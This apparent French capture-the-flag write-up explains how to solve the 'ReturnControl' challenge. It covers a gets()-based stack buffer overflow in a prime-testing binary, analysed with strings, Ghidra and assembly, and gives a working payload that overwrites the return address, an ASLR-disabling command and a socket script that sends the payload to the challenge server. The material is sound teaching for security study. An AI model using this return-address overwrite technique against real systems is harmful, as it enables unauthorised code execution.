Reverse - ReturnControl - 200 points

Kévin DUVERGER

Table des matières

1 Résolution ReturnControl :

Introduction. Pour ce challenge, avoir un environnement Linux pourra beaucoup vous aider, mais il est possible de le faire sans. Cet environnement pourra vous permettre de tester le programme de votre côté, de tester votre solution (avec `gdb`) mais aussi de voir quelques concepts qui pourront aider à la résolution.

Lancer le programme. Une première chose que l'on peut tenter est de lancer le programme / se connecter au serveur :

```
keke@keke-VirtualBox:~/Documents/creationCTFs/stackBasedBufferOverflow$ ./mysteriousProgram
Welcome to PRIME_TESTER !
Please give me a number : 5
Your number is prime !
```

Ce programme semble donc être un programme pour tester si le nombre en entrée est premier, et la fonctionnalité est tellement simple qu'il semble assez difficile de voir un chemin pour attaquer depuis cette observation.

Testons avec strings. Essayons donc notre grand ami `strings` :

```
keke@keke-VirtualBox:~/Documents/creationCTFs/stackBasedBufferOverflow$ strings -n 10 mysteriousProgram
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Failed to open flag.txt !
The flag is :
Please give me a number :
Welcome to PRIME_TESTER !
Your number is prime !
Your number is not prime !
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
```

On peut voir 2 chaînes très intéressantes ici : `Failed to open flag.txt !` et `The flag is :`, mais pour l'instant nous n'avons aucune idée de comment les faire apparaître.

Allons dans le code. Il faut donc aller explorer un peu plus en allant dans un décompilateur, voici ce que nous donne Ghidra :

```
undefined8 main(int param_1, long param_2) {
    char cVar1;
    undefined4 uVar2;
    int iVar3;

    puts("Welcome to PRIME_TESTER !");
    uVar2 = getNumberFromUser();
    cVar1 = isPrime(uVar2);
    if (cVar1 == '\0') {
        puts("Your number is not prime !");
    } else {
        puts("Your number is prime !");
    }

    if (param_1 == 2) {
        iVar3 = strcmp(*(char **)(param_2 + 8),"GET_FLAG");
        if (iVar3 == 0) printFlag();
    }
    return 0;
}
```

Ce programme semble donc demander un `int` à l'utilisateur (la variable `uVar2`), puis teste si ce dernier est un premier et affiche un message correspondant au cas (le `'\0'` peut vous surprendre mais souvenez vous qu'il vaut 0 et que c'est équivalent à un `false`). La partie la plus intéressante vient après : si un paramètre qui vaut `GET_FLAG` est donné au programme, le programme appelle la fonction `printFlag` (qui lit ce dernier depuis un fichier et l'affiche) :

```
void printFlag(void) {
    char local_88[112];
    FILE *local_18;

    memset(local_88,0,100);
    local_18 = fopen("flag.txt","r");
    if (local_18 == (FILE *)0x0) {
        puts("Failed to open flag.txt !");
    } else {
        fgets(local_88,99,local_18);
```

```
        puts("The flag is :");
        puts(local_88);
        fflush(stdout);
        fclose(local_18);
    }
    return;
}
```

Autant nous pouvons causer un appel de cette fonction `printFlag` de notre côté avec le programme et en créeant un fichier `flag.txt`, autant il sera impossible d'ajouter ce second paramètre au niveau du serveur. Il faudrait donc que nous arrivions à causer un appel à cette fonction `printFlag` pendant l'exécution du programme sans que ce dernier ne soit dans le code.
La seule interaction que l'on a avec ce programme se déroule lorsqu'il nous demande un nombre à tester, il serait donc plutôt intéressant d'aller la regarder pour voir s'il n'y a pas moyen de poursuivre de ce côté :

```
int getNumberFromUser(void) {
  char local_10 [8];

  memset(local_10,0,8);
  printf("Please give me a number : ");
  fflush(stdout);
  gets(local_10);
  return strtol(local_10,(char **)0x0,10);
}
```

Comme vous pouvez le voir, cette fonction demande une chaîne à l'utilisateur, la stocke dans un buffer de taille 8 et convertit ce dernier en entier avant de le retourner (ce n'est pas exactement ce qu'affiche ghidra, il ne met aucun type de retour, mais on peut deviner ce fonctionnement). Par chance, la fonction utilisée pour demander l'entrée utilisateur est `gets` qui ne vérifie pas la taille entrée par l'utilisateur : il y a donc une possibilité de buffer overflow !

Attaquer. L'idée pour l'attaquant serait donc d'utiliser la buffer overflow pour appeler la fonction `printFlag`. Pour expliquer comment, il va falloir que nous revenions à quelques notions d'assembleur ! Avant cela, quelques rappels très rapides : le registre "program counter" (PC) indique l'adresse de la prochaine instruction, en ajoutant une valeur à la pile l'adresse de son sommet diminue (le bas de la pile est aux adresses les plus hautes), les variables locales sont stockées dans la pile.
Juste avant de rentrer dans une fonction appelée via l'instruction `call`, la valeur du "program counter" (le registre qui indique l'adresse de la prochaine instruction à exécuter) est sauvegardée sur la pile. Lorsque le processeur arrivera à l'instruction `ret` de la fonction, cette valeur sera dépilée et utilisée pour savoir à quelle adresse revenir. Si nous arrivions à la modifier, il serait donc possible de faire en sorte que l'adresse de retour de la fonction soit en fait l'adresse de début de `printFlag` !
La question est maintenant de voir comment utiliser la buffer overflow pour modifier cette valeur sur la pile. Rentrons donc dans le code assembleur de cette fonction pour comprendre ce qu'il se passe :

```
01. ENDBR64
02. PUSH    RBP
03. MOV     RBP, RSP
04. SUB     RSP, 0x10
05. LEA     RAX, [RBP - 8] # RAX corresponds to local_10
06. MOV     EDX, 0x8
07. MOV     ESI, 0x0
08. MOV     RDI, RAX
09. CALL    <EXTERNAL>::memset
10. LEA     RAX, string["Please give me a number"]
11. MOV     RDI, RAX
12. MOV     EAX, 0x0
13. CALL    <EXTERNAL>::printf
14. MOV     RAX, 1   # 1 corresponds to stdout
15. MOV     RDI, RAX
16. CALL    <EXTERNAL>::fflush
17. LEA     RAX, [RBP - 8]
18. MOV     RDI, RAX
19. MOV     EAX, 0x0
20. CALL    <EXTERNAL>::gets
21. LEA     RAX, [RBP - 8]
22. MOV     EDX, 0xa
23. MOV     ESI, 0x0
24. MOV     RDI, RAX
25. CALL    <EXTERNAL>::strtol
26. LEAVE
27. RET
```

Au début de cette fonction, on peut donc voir le prologue qui consiste à créer un nouvelle frame (en sauvegardant RBP sur la pile puis en plaçant la valeur de RSP dans RBP). Ensuite, vous pouvez voir la déclaration des variables locales à la fonction (`SUB RSP, 0x10`) : il ne devrait y avoir que 8 octets pour le buffer, mais ici vous en voyez 16 probablement pour l'alignement de la pile. On peut considérer que ce sera la même structure au moment du `gets` et

juste avant la fin du programme (car le code est "propre").
Pour résumer, la variable buffer se trouve à l'adresse `RBP - 8 = RSP + 8` et sa taille est de 8 octets, ensuite on trouve la sauvegarde de `RBP` qui fait également 8 octets (en `RSP + 16`) et après cela on trouve l'adresse de retour qui est notre cible ! L'idée de l'attaque est donc d'entrer 16 caractères arbitraires pour arriver au début de l'endroit où se trouve l'adresse de retour, puis d'écrire l'adresse de début de la fonction `printFlag` sur les 8 octets suivants.

Trouver l'adresse de la fonction printFlag. C'est le dernier problème qu'il nous reste à résoudre avant de terminer le challenge. Un problème potentiel pourrait être la technologie ASLR (Adress Space Layout Randomization) qui fait que l'adresse de chargement du programme est randomisée à chaque redémarrage et rendrait ce challenge impossible : nous pouvons donc supposer qu'elle est désactivée.
La première façon d'obtenir cette adresse est de lancer le programme avec gdb en mettant un breakpoint n'importe où. Vous pourrez ensuite taper la commande `info address printFlag` ce qui vous donnera l'adresse de la fonction dans le programme.
La seconde façon permet de s'en sortir sans avoir besoin de lancer le programme. L'idée est de savoir que les programmes ELF sont assez souvent chargés à l'adresse `0x555555554000` et d'utiliser l'adresse de la fonction dans ghidra (`0x101269`) pour la combiner à l'adresse de chargement ce qui nous permet d'obtenir `0x555555555269`.
Notez que cette adresse doit être écrite en **little-endian**.

Finalisation de l'attaque. On peut donc commencer par écrire la payload dans un fichier :

```
data = bytes.fromhex("30" * 16 + "695255555555")
fichier = open("test.bin", "wb")
fichier.write(data + b"\n")
fichier.close()
```

Si vous souhaitez tester le programme de votre côté, voici la commande que vous pouvez lancer (cela permet de désactiver l'ASLR dont nous parlions précédemment pour faire en sorte que l'adresse de `printFlag` soit toujours la même) :

```
cat test.bin | setarch "$(uname -m)" -R ./mainExec
```

Pour finir, il ne reste plus qu'à envoyer cette payload au serveur pour récupérer le flag :

```
import socket

server = "146.59.227.136"
port = 23423

#Connecting to the server
maSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try :
    maSocket.connect((server, port))
except Exception as e :
    print("Probleme de connexion", e.args)
    sys.exit(1)

# Getting the flag
data = maSocket.recv(16384).decode("utf-8")
maSocket.sendall(bytes.fromhex("30" * 16 + "695255555555") + b"\n")
data = maSocket.recv(16384).decode("utf-8")
print(data)

# Closing
maSocket.close()
```